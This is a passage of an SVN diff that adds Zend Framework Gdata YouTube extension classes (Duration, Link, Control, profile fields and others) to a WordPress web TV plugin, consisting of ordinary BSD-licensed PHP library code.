+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:books element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Books extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'books';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Company.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Company.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Company.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:company element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Company extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'company';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Control.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Control.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Control.php	(revision 44)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Control
+ */
+require_once 'Zend/Gdata/App/Extension/Control.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_State
+ */
+require_once 'Zend/Gdata/YouTube/Extension/State.php';
+
+
+/**
+ * Specialized Control class for use with YouTube. Enables use of yt extension elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Control extends Zend_Gdata_App_Extension_Control
+{
+
+    protected $_state = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Control object.
+     * @see Zend_Gdata_App_Extension_Control#__construct
+     * @param Zend_Gdata_App_Extension_Draft $draft
+     * @param Zend_Gdata_YouTube_Extension_State $state
+     */
+    public function __construct($draft = null, $state = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($draft);
+        $this->_state = $state;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_state != null) {
+            $element->appendChild($this->_state->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'state':
+            $state = new Zend_Gdata_YouTube_Extension_State();
+            $state->transferFromDOM($child);
+            $this->_state = $state;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Get the value for this element's state attribute.
+     *
+     * @return Zend_Gdata_YouTube_Extension_State The state element.
+     */
+    public function getState()
+    {
+        return $this->_state;
+    }
+
+    /**
+     * Set the value for this element's state attribute.
+     *
+     * @param Zend_Gdata_YouTube_Extension_State $value The desired value for this attribute.
+     * @return Zend_YouTube_Extension_Control The element being modified.
+     */
+    public function setState($value)
+    {
+        $this->_state = $value;
+        return $this;
+    }
+
+    /**
+    * Get the value of this element's state attribute.
+    *
+    * @return string The state's text value
+    */
+    public function getStateValue()
+    {
+      return $this->getState()->getText();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/CountHint.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/CountHint.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/CountHint.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:countHint element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_CountHint extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'countHint';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Description.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Description.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Description.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:description element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Description extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'description';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Duration.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Duration.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Duration.php	(revision 44)
@@ -0,0 +1,125 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:duration element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Duration extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'duration';
+    protected $_seconds = null;
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_Duration object.
+     * @param bool $seconds(optional) The seconds value of the element.
+     */
+    public function __construct($seconds = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_seconds = $seconds;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_seconds !== null) {
+            $element->setAttribute('seconds', $this->_seconds);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and valueare
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'seconds':
+            $this->_seconds = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's seconds attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getSeconds()
+    {
+        return $this->_seconds;
+    }
+
+    /**
+     * Set the value for this element's seconds attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Duration The element being modified.
+     */
+    public function setSeconds($value)
+    {
+        $this->_seconds = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     *
+     * @return string The duration in seconds
+     */
+    public function __toString()
+    {
+        return $this->_seconds;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/FirstName.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/FirstName.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/FirstName.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:firstName element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_FirstName extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'firstName';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Gender.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Gender.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Gender.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:gender element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Gender extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'gender';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Hobbies.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Hobbies.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Hobbies.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:hobbies element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Hobbies extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'hobbies';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Hometown.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Hometown.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Hometown.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:hometown element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Hometown extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'hometown';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/LastName.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/LastName.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/LastName.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:lastName element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_LastName extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'lastName';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Link.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Link.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Link.php	(revision 44)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Link
+ */
+require_once 'Zend/Gdata/App/Extension/Link.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Token
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Token.php';
+
+
+/**
+ * Specialized Link class for use with YouTube. Enables use of yt extension elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Link extends Zend_Gdata_App_Extension_Link
+{
+
+    protected $_token = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_Link object.
+     * @see Zend_Gdata_App_Extension_Link#__construct
+     * @param Zend_Gdata_YouTube_Extension_Token $token
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null, $token = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+        $this->_token = $token;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_token != null) {
+            $element->appendChild($this->_token->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'token':
+            $token = new Zend_Gdata_YouTube_Extension_Token();
+            $token->transferFromDOM($child);
+            $this->_token = $token;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Get the value for this element's token attribute.
+     *
+     * @return Zend_Gdata_YouTube_Extension_Token The token element.
+     */
+    public function getToken()
+    {
+        return $this->_token;
+    }
+
+    /**
+     * Set the value for this element's token attribute.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Token $value The desired value for this attribute.
+     * @return Zend_YouTube_Extension_Link The element being modified.
+     */
+    public function setToken($value)
+    {
+        $this->_token = $value;
+        return $this;
+    }
+
+    /**
+    * Get the value of this element's token attribute.
+    *
+    * @return string The token's text value
+    */
+    public function getTokenValue()
+    {
+      return $this->getToken()->getText();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Location.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Location.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Location.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:location element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Location extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'location';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaContent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaContent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/MediaContent.php	(revision 44)
@@ -0,0 +1,119 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaContent
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaContent.php';
+
+/**
+ * Represents the media:content element of Media RSS.
+ * Represents media objects.  Multiple media objects representing
+ * the same content can be represented using a
+ * media:group (Zend_Gdata_Media_Extension_MediaGroup) element.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
